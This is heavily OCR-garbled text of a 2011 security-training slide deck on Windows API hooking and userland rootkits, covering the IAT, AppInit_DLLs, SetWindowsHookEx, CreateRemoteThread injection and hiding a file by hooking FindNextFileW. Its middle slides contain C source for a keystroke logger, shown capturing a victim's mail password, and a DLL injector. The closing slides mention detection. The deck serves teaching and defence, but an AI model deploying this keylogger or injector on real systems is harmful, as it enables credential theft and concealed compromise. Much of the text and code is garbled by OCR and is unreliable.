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WHAT IS HOOKING? HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

INTERCEPTIN FUNCTIC

EVENTS

®" A PIECE OF CODE THAT HANDLES INTERCEPTED
FUNCTION CALLS, IS CALLED A HOOK.
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THE WHITE SIDE OF HOOKING TECHNIQUES? HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

THE CONTROL OF AN APPLICATION PROGRAMMING

INTERFACE (API) CALL IS VERY USEFUL AND ENABLES
PROGRAMM ACK

API HCII:IKING; E MERITEI . REPUTATION

ONE OF T MOST WIDESPREAD
TECHNIQUES.

HOOKING IS ALSO QRUITE ADVANTAGEOUS TECHNIQUE
FOR INTERPRETING POORLY DOCUMENTED APIS.
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INFORMATION SECURITY SOLUTIONS

THE BLACK SIDE OF HOOKING TECHNIQUES?

HOOKING CAN ALTER NORMAL
EXECUTION OF WINDOWS

CODE
INDJECTING

THIS PRADC
PROGRAMS /
CONSISTENT

PREVIOUSLY ACKED SY 'eTEM.

THIS SET OF PROGRAMS USED TO CONTROL A

SYSTEM WHILE HIDING HIS PRESENCE IS KNOW AS A
ROOTKIT.
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WHY DO ROOTKITS EXIST? HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

ONE OF THE MOST HUMAN BEINGS CHARACTERISTICS IS

PRIMARY FU

— REMOTE COMMAND AND CONTROL.

— SOFTWARE EAVESDROPPING.
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USERLAND ROOTKITS HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

IN COMPUTING, HIERARCHICAL PROTECTION DOMAINS, OFTEN CALLED
PROTECTION RINGS, ARE A MECHANISM TO PROTECT DATA AND
FUNCTIONALITY OM FALU

ROCESSES

STRY KEYS

HIDE FILES, _ : RING O
i : KERNEL SYSTEM

DEVICE DRIVERS

MOST PRIVILEGED

FOR EXAMPLE A USERLAND ROOTKIT WHO WANTS TO HIDE REGISTRY
INFORMATION FROM A WINDOWS APPLICATION WHICH USES LIBRARIES
SUCH AS USER32.DLL, KERNEL32.DLL, OR ADVAPI32.DLL.
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KERNEL-LAND ROOTKITS HIGH-TECH BRIDGE
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KERNEL ROOTKITS RUN WITH THE MOST HIGHEST
OPERATING SYSTEM PRIVILEGES (RING 0O).

,'-'IEE:ES OF C.DE a E OPERATING

THEY R | EE A  OPERATING
SYSTEM E =

THIS CLASS STRICTED. SECURITY
ACCESS. ” ) -

KERNEL ROOTKI CAN BE ESPECIALLY DIFF ULT - TO
DETECT AND REMOVE BECAUSE THEY OPERATE AT THE SAME
SECURITY LEVEI: AS THE OPERATING SYSTEM ITSELF.

THEY ARE ABLE TO INTERCEPT OR SUBVERT THE MOST
TRUSTED OPERATING SYSTEM.
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AN AMUSING ROOTKIT STORY HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

Che New Jork Times
The Rootkit of All Evil

By DAN MITCHELL
SONY BMG can take two lessons from its recent wayward atterpt to
";fend off digital piracy: One, in a world of technology-astute bloggers, it's
'not easy to get away with secretly infecting your customers' computers
with potentially malicious code. And two, as many a politician has learned,
explaining your own screw-up badly is often worse than the screw-up
itself

Or as Wired News put it, "The Cover-Up Is the Crime."

It all started on Halloween, when Mark Russinovich, a computer
secunty researcher, discovered that the antipiracy software that a
Sony BMG CD had installed on his machine was based on a
"rootkit." Rootkits are often used by malicious hackers to disguise

spyware, malware and other nasty stuff. Remowving one can do
damage, even destroying an operating system. Mr. Russinovich
posted his tale on his blog, sysinternals. com/blog, and the pile-on
commenced.

Sony BMG responded by offering a piece of software it said
would remove the rootkit, but at the same tine said the rootkit
was "not malicious and does not compromise security.” Thomas More..
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WHAT IS THE IMPORT ADDRESS TABLE HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

INSIDE A WINDOWS PORTABLE EXECUTABLE (PE) FILE, THERE IS AN
ARRAY OF DATA STRUCTURES, ONE FOR EVERY IMPORTED DYNAMIC
LINK LIBRARY (DL.L

EACH IMPORTED AP ITS SPOT IN THE |IAT WHERE
THE ADDRESS 5

WINDOWS PE LEIA

THIS LAST F'EIINT; S PARTICULARLY IMPORTANT: ONCE A

LOADED, THE |AT CONTAINS THE ADDRESS THAT IS INVOKED WHEN
CALLING IMPORTED APISs.

WE ENCOURAGE YOU TO READ THE PORTABLE EXECUTABLE FILE
ARTICLE FROM MATT PIETREK AT HTTP!/MSDN.MICROSOFT.COM/EN-
US/MAGAZINE/cc301805.A5PX
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FINDING THE IMPORT ADDRESS TABLE o) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

HintName Array Import Address Table
> <€

<

GetMessage

72
Loadlcon

TranslateMessage

OriginalFirstThunk

TimeDateStamp

ForwarderChain This table

overwritten by
Imported DLL Name ed «USER32.DLL» PE loader

FirstThunk

Additional
IMAGE_IMPORT_DESCRIPTORS
for other DLLs, as necessary

FROM MATT PIETREK PORTABLE EXECUTABLE ARTICLE
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FROM THE IAT TO THE API CODE HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

\l/ / API POINTER IN LITTLE ENDIAN

B8 4B1148608 EAX .114B #188189F4 . 65023BY7E

BA BOA3FE?F EDX . #10818F8 . 788E397E

FF12 DWORD PTR DS:[EDX 1ps 818810FC . AB473A7E

C3 910611006 4E4A3A7E

94 #10681104 7?B1F3

90 p1001188 . 96D83AYE
" 81686116C E1BD3D7E

CALL DWORD PTR DS:[10010

IMMUNITY DEBUGGER
— ALL INTERMODULAR
CALLS

F41000@1 .. DWORD PTR DS: [<&USER32.CloseClipho: [CloseCliphoard

Dest inat ion
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LOOKING BEYOND YOUR BORDERS - DLL INJECTION HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

DLL INJECTION IS A TECHNIQUE USED TO RUN
CODE WITHIN THE ADDRESS SPAGE OF ANOTHER

PROGRAM
IT.

FOR EXAMP THE INJECTED CODE COULD TRAP
SYSTEM FUNCTION CALLS, OR READ THE CONTENTS
OF PASSWORD TEXTBOXES, WHICH CANNOT BE
DONE THE USUAL WAY.
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DLL INJECTION HOW-TO o HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

" IN WINDOWS 7 AS IN OTHER FLAVOURS, THERE ARE

CREATING
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USING THE WINDOWS REGISTRY (; HIGH-TECH BRIDGE

" IN THE REGISTRY KEY:
HKEY LOC

USER32.DLL
APPINIT_DL
ADDRESS SPA

" THE JOB IS DONE USING LOADLIBRARY FUNCTION.
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USING THE WINDOWS REGISTRY

Table 1. Appinit_DLLs Infrastructure Registry Values
#include <stdio.h> Value Description Sample values
#include <windows.h> LoadAppInit_DLLs Value that globally 0x0— Applnit_DLLs are disabled.
(REG_DWORD) enables or disables 0x1- ApplInit_DLLs are enabled.
ApplInit_DLLs.
BOOL APIENTRY DllMain (HINSTANCE hInstance, DUORD dwReason, LPVOID lpReserved) Appinit_DLLs Space -or comma-
( (REG_SZ) delimited list of DLLsto

if (dvReason == DLL PROCESS ATTACH) gt
( . - to the DLL should be

specified by using short
MessageBoxXd (0, "Hessage :]","I love APIs Trap :]",0): file names

RequireSignedApplnit_DLLs  Require code-signed DLLs.  Ox0- Load any DLLs.

C:\PROGRA~1\Test\Test.dIl

(REG_DWORD)

0x1- Load only code-signed DLLs.

e AT -l

Fle Edt Vew Favorites Hep

, Windows Actvaten Technologes | (Defauit)

y Mozla

)

)
- ) Winlogon
B ) Wnsat

J. WnSATAP]

) WOow

®- 5 WUOF

, Windows Photo Viewer
, Windows Portable Devices
, Windows Soript Host
. Windows Search
. Wep
, Wianswe
. Workspaces
y WwanSve

®

a] | Name

Data

mnmsrve

([ )200it pus

¢ \Windows 'system 32 HookUser 32WindowsSeven.dl |

% DdeSendTimeout

13 DesktopHeaplogong

35 DeviceNotSelectedTmeout
13 GDIProcessHandeQuota
2 1conServicelb

0x000000 (0)
0x00000001 (1)

15

0x00002710 (10000)
lconCodecSenice.di

| Eer

(00000001 (1)

5 ShutdonnWarningDialogTi...,
Fi) m

3 TransmissionRetry Tmeout
% USERNestedWindowLimit

7% USERPostMessagelimit

7% USERProcessHandeQuota
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OxFFRFFFR (4294967295)
yes

%

(xD0000032 (50)
(x00002710 (10000)
0xD0002710 (10000)
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USING SETWINDOWSHOOKEX FUNCTION ) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

WINDOWS PROGRAMS RECEIVE EVENTS MESSAGES FOR MANY EVENTS IN THE COMPUTER
THAT RELATED TO THE APPLICATION.

FOR EXAM
IS PUSHE

CONTAINING TH FN PARAMETER. (HMOD)

THE IDENTIFIER “THREAD WITH E ASSOCIATED. |IF ZERO, THE
HOOK PROCEDUR : SOCIATED WI G ' THE SAME DESKTOP.
(DWTHREADID) N

HHOOK WINAPI SetWindowsHookEx(
int idHook,
HOOKPROC lpfn,
HINSTANCE h“od,
DUORD dwThreadId

THIS FUNCTION WILL LOAD EFFICIENTLY THE DLL INTO ANOTHER APPLICATION ADDRESS
SPACE.
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USING SETWINDOWSHOOKEX FUNCTION HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

#include "dll.h"
#include <vindows.h> fxhier Edtiop Affichage Hatonque Marque-pages Quols ]

#include <stdio.h> g_: C X DS mm!.’m,qxqecm'xcm‘&m
#include <stdlib.h>

£ Les phus visités (@ Débuter avec Firefox 5, Alaune  hitp//www.allsitesace..

HHOOK hKeyHook: Y
KBDLLHOOKSTRUCT KbdStruct; V1 Gmal : la messagerie de Google [+

BYTE keyState[256]:

VCHAR buffer([16]; 1
FILE * file; M a II

LRESULT WINAPI KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) i

i e = = Gmasl repose sur Nidée que a messagene paut dtre intuthve Compte Coogle
£( (nCode == HC_ACTION) &6 ((vParam == WN_SYSKEYDOWN Paran == UN_KEYDOWN
: L o - J {(rbaray = L 1] ebarom = o ] eficace ot utile. Peut-ftre méme amusante. . Aprés tout, Gmad b

]

KpbdStruct = *( (KBDLLHOOKSTRUCT?) 1Param) ; : om dutiisateur. wictime_user '
GetKeyboardState | (PBYTE) ckeyState) ; i Ex pa@enm
ToUnicode (kbdStruct.vkCode, kbdStruct.scanCode, (PBYTE) SkeyState, (LPUSTR)sbuffer, sizeof (buffer) / 2, 0): Espaces volumineux Mot de passe  esssssse
fllé = fopen("c:\\injector\\Keylogger}\Log.txt", "a"); : Grdce aux plus de 7608 835076 mégaoctets (et Rester ¢ é
fprintf(file, "sc” buffer(0]): i toupurs plus) despace de stockage gratut r
folose (file); i . Connexcn

¥ i Moins de spam

return CalllVextHookEx (hKeyHook, nCode, wParam, lParam); : Ne lassez pas les spams polluer votre bolte de

y : theaotinn

BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
if (dvReason == DLL_PROCESS_ATTACH)
{
file = fopen("c:\\injector\\KeyLogger\iLog.txt", "u");
felose (file);
hKeyHook = SetWindowsHookEx (WH_KEYBOARD LL, (HOOKPROC)KeyEvent, GetModuleHandle (NULL), 0):
56 message; Fle Edt Format View Help
victime _user victime-password
vhile (GetMessage ( imessage, NULL, 0, 0))
{
Translatelessage (imessage) ;
DispatchMessage (Smessage) ;
1
UnhookWindowsHookEx (hKeyHook) »
felose(file);
return 0;

}
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USING CREATEREMOTETHREAD FUNCTION @

THE API| TAKES THE FOLLOWING PARAMETERS:

A HANDLE TO

LE TO BE PAS
NTROL THE CRE
ARIABLE THAT REG

HAIDLE WINAPI CreateRemoteThread(

_in
_in
in
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HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

ICH THE THREAD IS TO BE CREATED. (HPROCESS)

'S STRUCTURE TH

SPECIFIES A SECURITY

PTHREADID)

HANDLE hProcess,

LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,

DUORD dwCreationFlags,

LPDHORD 1pThreadId

OoF INJECTING

OPEN THE TARGET PROCESS.

ALLOCATE MEMORY IN THE TARGET PROCESS.

WRITE THE NAME OF OUR DLL IN THE TARGET PROCESS.

CREATE THE THREAD.
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USING CREATEREMOTETHREAD FUNCGCTION <«» HIGH-TECH BRIDGé

INFORMATION SECURITY SOLUTIONS

int Inject_DLL(leng pidProcAInjecter , char® dll_to_injeect):
long ProcessToPid(char® process):

int Inject_DLLilong pidProciInjecter , char* dll to_inject)

y Pid is -> 236

-> Opening the target pro
long dll size = strlen(dll to_inject) + 1: -> Memory Allocation
> Weiti DLL in memory...

princf("-> Opening the target process...\n"): | Cr ng the Thread...

ati
> DLL injected =1

HANDLE MyHandle = OpenProcess(PROCESS_ALL_ACCESS , FALSE , pidProcAlnjecter):
if (HyHandle == NULL)return 0;

princf("-> Memory Allocation...\n"):
LPVOID Myilloc = VirtualldllocExi MyHandle , NULL , dll size , MEM COMMIT , PAGE_ EXECUTE_ READWRITE):
if (Myilloc == NULL)

return O:

printf("-> Writing DLL in memory...\n");
int IsWriteOK = WriteProcessMemory( MyHandle , Nydlloc , dll_to_inject , dll size , 0);
if (IsWriteOK == 0)

return 0;

printf("-> Creating the Thread...\n"):
DWORD identificateurThread :
LPTHREAD_START_ROUTINE addrLoadLibrary = (LPTHREAD_START_ROUTINE)GetProchiddress(LoadLibrary("kernel32"),"LoadLibraryl"):
HANDLE ThreadReturn= CreateRemoteThread{ MyHandle , NULL , 0 , addrLoadLibrary , Myilloc , 0 , &identificateurThread ):
if (ThreadReturn == NULL)

return 0;

if ((MyHandle != NULL) && (Myhlloc !'= NULL) && (IsWriteOK != ERROR_INVALID HANDLE) && (ThreadReturn '= NULL))
{ printf("-> DLL injected :]\n"):
H

return 1;

long ProcessToPid(char® process)

{
HANDLE snapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS,0)
PROCESSENTRY32 structprocsnapshot = {0};

structprocsnapshot.dw3ize = sizeof (PROCESSENTRY3Z)

if (snapshot == INVALID_ HANDLE_VALUE)return O:
if (Process32First (snapshot, éstructprocsnapshot) == FALSE)return O

while (Process32ZNext (snapshot, &structprocsnapshot) )
{

if (!stremp (Structprocsnapshot.szExeFile, process))
{
CloseHandle (snapshot) ;
princt ("Pid is -> :din",structprocsnapshot.th3zProcessID):

return structprocsnapshot.chizProcessID: WE INJECT OUR DLL INTO THE
) CMD.EXE PROCESS

CloseHandle (snapshot) ;
return 0;

int main(int argc , char® argv(])
€
Inject_DLL (ProcessToPid(argv(l]),srgv(2]):
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HOOKING THE IAT PRACTICAL EXAMPLE HIGH-TECH BRIDGé
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OUR TARGET

THIS 1S JUST A BASIC EXAMPLE, AS USERLAND
HOOKS ARE NOT THE BEST CHOICE TO HIDE FILES.
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MODIFYING THE IMPORT ADDRESS TABLE (1) HIGH-TECH BRIDGE
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" BEFORE HOOKING THE API POINTER OF FINDNEXTFILEW

WE ATTACH EIUR DEB_UEEER TO CMD.EXE PROCESS AND

WE FIND THEZ_ADDRE:SS OF THE TARGET APl'

DWORD PTR DS: [<{&ZKERNEL32_FindNextF:
EAX . EAX

DWORD PTR DS:[ESI1.-1

DUORD PTR DS:[EBX+441.4

ECX .DWORD PTR DS:[EAX+321]
-DUHORD PTR DS:[49D441141

AK L
DWORD PTR DS:[EAX1.EDI

~-DWORD PTR DS:[EDI+ESI»21
~-DWORD PTR DS:[EAX+2]

-EDI

CX.WORD PTR DS:[EAX]

kernel32.
761BBFFA kernel132. F1ndF1)
.(ﬂl-’1'i)1 kernel32.

?61B34EA
?51 R11Fl

tTimeFow

alT ime

?h1D3I3'74 -FreeEnvironmentStrin
761B3857 21372 EnvironmentStringsl
761B3881 ke Envi 'DnrlentUarlahIEU
61A5D95 . g vironmentStringsh
76152[?) Cu leMode
761B17F4 2 13 3 leMode

Cnrrrmnrllnr\(.ll

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH




1 [T—| 1
MODIFYING THE IMPORT ADDRESS TABLE (2 HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

" THE INITIAL MODE OF THE .TEXT SECTION IS IN

READ EXECUTARE
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MODIFYING THE IMPORT ADDRESS TABLE HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

" WHEN WE LIST THE FILES FROM THE TEST

SUBDIRECTORY WE OBTAIN THE FOLLOWING LISTING!
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MODIFYING THE IMPORT ADDRESS TABLE @ HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

" AFTER HOOKING THE FUNCTION WE CAN SEE
THAT THE IAT POINTER TO FINDNEXTFILEW API

HAS CHANGED.
e $astas R @ FI|‘E‘ weu Debug P\l‘ngs ImmLib Options Window Help Jobs

TS R HEY lemtwhcpkbzr...s?

88146806000
> 9814F480

o _the Threa
DLL injected :1

A
24E 761B
/bl BVFFH [S]5]5151515 N
761B1971
> 761B154B
761EF691
7618293
761B17E4 e 4 W
26 o ilel [0 1< /] -
S iBi4nn k 2 181 ¢ ; 0Juu RETURN to
?61B11F1 k i @@14F4EQ i
?61AE129 a “Ge E a8nz2rs59a8
C 761ADB26 etLocalTim AARBARLD «
~eeEnv i ARBBAE
UNICODE “dirFEstFE&"

kerne
kerne
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MODIFYING THE IMPORT ADDRESS TABLE (s HIGH-TECH BRIDGE
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" THE INITIAL MODE OF THE .TEXT SECTION WAS IN

JECTED AT

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH




MODIFYING THE IMPORT ADDRESS TABLE e HIGH-TECH BRIDGE
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"= AT THIS TIME WHEN WE LIST THE FILES FROM THE

TEST SUBDIREETDRY WE DO NOT SEE ANY MORE

THE “SEBRET TXT: FILE.
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" VERY EASY TO

< WILL NOT BE

POSSIBLE.

CATION USES LOADLIBRARY AND
GETPROCADDRESS TO FIND ADDRESSES DURING

RUNTIME, THE |IAT HOOK WILL NOT WORK.
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DETECTING IAT HOOKING HIGH-TECH BRIDGE
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Processes Refresh Hooked Dlls for cmd.exe

pid I process I user BaseAdr I Maxadr I Hooks I Name

1316 wuauck.exe PC-Callax:callax 44350000 4439C0.. 25/226 cmd.exe

1156 undl32.exe 774640000 77B7D0.. 13/1981 ntdidl

2688  undl32.exe 76160000 76234000 52 /1875 kemel32.dl

3680  audiodg.exe 75090000 75DDA... 671037  KERNELBASE.dI
2976  HookExplorer.exe PC-Callax:callax 76240000 7B62ECO.. 28/1393 msvert.dll

2612 cmd.exe PC-Callax:callax 748C0000 748C70.. 5/54 WINBRAND.dIl
2884  conhost.exe PC-Callax:callax |j 77B90000 77C590... 17 /1152 USER32.dl

2832 HookEsplorer.exe PC-Callax:callax 77000000 7704E0.. 14/848 GDI32dl

-
—— —_—— -

< | m ] » S

Functions [V Scan all exports ? (" Standard ¢ Use lgnore List ¢ Hide Hooks within same module (¢ Show All entries

IAT Add... I Value I Name I 13t Instruction ] HookProc I HookMod
443512E8 761BOAFD CreateFilew! MOV EDLEDI kemel32.CreateFileWw C:AWindowshsystem32%kemel32.dll
443512EC  761B34BA FindClose MOV EDLEDI kemel32 FindClose C:\windows\system32\kernel32.dll

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH




1] [— | [T .
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" JAT HOOKING HAS SOME DRAWBACKS, BUT IT IS A

POWERFUL N YET RATHER SIMPLE.

DETECTION

THIS IS NO A METHOD USED IN
ROOTKITS. ‘

WE WANT DEFINITIVELY TO GO FORWARD AND HOOK
FUNCTIONS INTO THE KERNEL-LAND.
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TO BE CONTINUED HIGH-TECH BRIDGE
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SS INLINE

HOOKING, AN CTION To KERNEL
HoOOKING.
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SUBVERTING THE WINDOWS KERNEL (GREG HOGLUND &
JAMES BUTLER)

PROFESSIOI

%' TER SECURI

WINDOWS

TY%29

HTTP:Y/WWW.NY:
ONLINE.HTML

HTTF'://EN.WIKIF’EDIA.DRG/WIKI/DLL_IN-JEBTII:IN
HTTP:/SUPPORT.MICROSOFT.COM/KB/197571
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